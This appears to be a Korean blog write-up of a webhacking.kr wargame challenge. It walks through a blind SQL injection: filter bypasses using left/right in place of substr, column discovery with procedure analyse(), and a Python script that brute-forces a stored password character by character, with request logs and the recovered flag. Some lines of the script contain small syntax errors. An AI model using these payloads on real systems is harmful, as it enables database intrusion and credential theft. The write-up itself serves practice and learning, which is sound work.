<!--


hint


rank table

====================

ip ( = id )

score

**password** --> small letter

====================


-->



http://webhacking.kr/challenge/web/web-31/rank.php?score=-1%20or%201=1# 을 입력할 때 나오는 화면이다. 

즉, 참일 때 localhost 라는 텍스트가 출력되고 거짓일 땐 없다.

힌트에서 rank 테이블은 ip, score, password 3개 필드로 구성되었다고 주어졌다. 또한, 패스워드는 소문자?


score 파라미터 값에 따라 화면에 출력되는 id : // 값이 바뀌는 것을 보면 score를 이용하는 것이 분명하다.

추측하면 다음과 같다.


SELECT * FROM tb WHERE score=$_GET['score'] 


싱글쿼터를 삽입해도 에러가 발생하지 않는 것으로 보아 score는 싱글쿼터가 없는 숫자 값이다.


-1 or 1=1#

-1 or 1=2#


참/거짓 페이지를 이용한 블라인드 SQL 인젝션 공격으로 이번 문제를 풀어보자.

목록으로 랭커들을 출력하기 때문에 UNION SELECT 공격으로 시도했지만 UNION SELECT 모두 필터처리됨.


또한, 필터 함수를 확인해봤는데 블라인드 SQL 인젝션에 사용하는 내장함수를 대부분 필터했다.

대표적으로 substr, substring, mid, ascii, char... 다행히 length 함수는 필터안되어있다.


이 문제를 통해 substr이 필터되었을 때 left, right 함수를 사용해 우회가 가능하다는 것을 알게되었다.

ex) substr("abc",2,1); -> 'b' //  right(left("abc",2),1) 두 함수 결과는 같다.



문제 의도가 패스워드를 알아내는 것 같은데 칼럼을 알아야 인젝션을 시도할 수 있다.

어떻게 풀지 몰라서 검색한 결과 procedure analyse() 함수라는 것을 알게되었다.

본 함수는 테이블 각 칼럼에 대한 최적의 데이터 형식을 제공하거나 칼럼 정보를 출력하는 함수이다.




자세한 내용은 이전 게시물을 참조하면 됨.

2018/09/03 - [WEB Hacking/흔적] - [MySQL]SQL 인젝션 :: procedure analyse()

procedure analyse() 함수는 LIMIT 절에도 사용할 수 있으며 앞서 추측했던 SELECT 쿼리에도 적용가능하다.



SELECT id, score, password FROM tb WHERE score=-1 procedure analyse() 를 입력하면

id : webhacking.challenge55_game.ip 가 화면에 출력된다.



다른 필드 값을 구하기 위해 LIMIT 구를 사용한다.


score=-1%20limit%200,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.ip

score=-1%20limit%201,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.score

score=-1%20limit%202,1%20procedure%20analyse()%20--%20  // webhacking.challenge55_game.pAsSw0RdzzzZ


왜 score 가 음수일 때만 필드 값이 나오는지 모르겠음 ㅡㅡ
아는분 있으면 댓글로 알려주세요..



rank 테이블은 ip, score, pAsSw0RdzzzZ 3개의 필드가 존재한다.

따라서 비밀번호를 블라인드 SQL 인젝션을 통해 구하면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import urllib2
import urllib
import re
 
TrueKeyword = "localhost"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'password'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length 
##################################################################
 
blind_target_url = "http://webhacking.kr/challenge/web/web-31/rank.php?"
for i in xrange(1,100):
    injectParams = "score=-1 or length(pAsSw0RdzzzZ) like {} --".format(str(i)).replace(" ","%20")
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall("localhost", data)
    if find:
        pwLen = i
        break
 
print "password length :" + str(pwLen)
 
 
##################################################################
#     password string 
##################################################################
 
password =""
blind_target_url = "http://webhacking.kr/challenge/web/web-31/rank.php?"
 
for i in xrange(1,pwLen+1):
    for j in xrange(33128):
        # LIKE statement use '%', '_'
        if chr(j) == '%' or chr(j) == '_':
            continue
 
        injectParams = "score=-1 or right(left(pAsSw0RdzzzZ,"+str(i)+"),1) like "+str(hex(j))+" -- "
        injectParams = injectParams.replace(" ""%20")
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall("localhost", data)
        print "[+] Request : " + injectParams + "->"+ "(" + chr(j) +")"
 
        if find: # Bytes is required, not str.
            password = password + chr(j)
            print "#### %d's password#### : "%(i)+password
            break
 
print password
cs



원래 '='를 필터 하는 문제가 많아서 like로 아무 생각없이 코딩했다가 자꾸 %에서 참이 나오는 바람에 엄청 시간을 많이 소비했다.

LIKE는 % 또는 _ 를 문법으로 사용하기 때문에 LIKE로 블라인드 SQL 인젝션 스크립트 만들 때 주의해야함.


[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x3e%20--%20->(>)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x3f%20--%20->(?)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x40%20--%20->(@)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x41%20--%20->(A)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x42%20--%20->(B)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x43%20--%20->(C)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x44%20--%20->(D)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x45%20--%20->(E)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x46%20--%20->(F)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x47%20--%20->(G)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x48%20--%20->(H)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x49%20--%20->(I)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x4a%20--%20->(J)              

[+] Request : score=-1%20or%20right(left(pAsSw0RdzzzZ,20),1)%20=%200x4b%20--%20->(K)              

####current password#### : CHALLENGE55CLEAR~~KK                                                   

CHALLENGE55CLEAR~~KK     

                                                          

+ Recent posts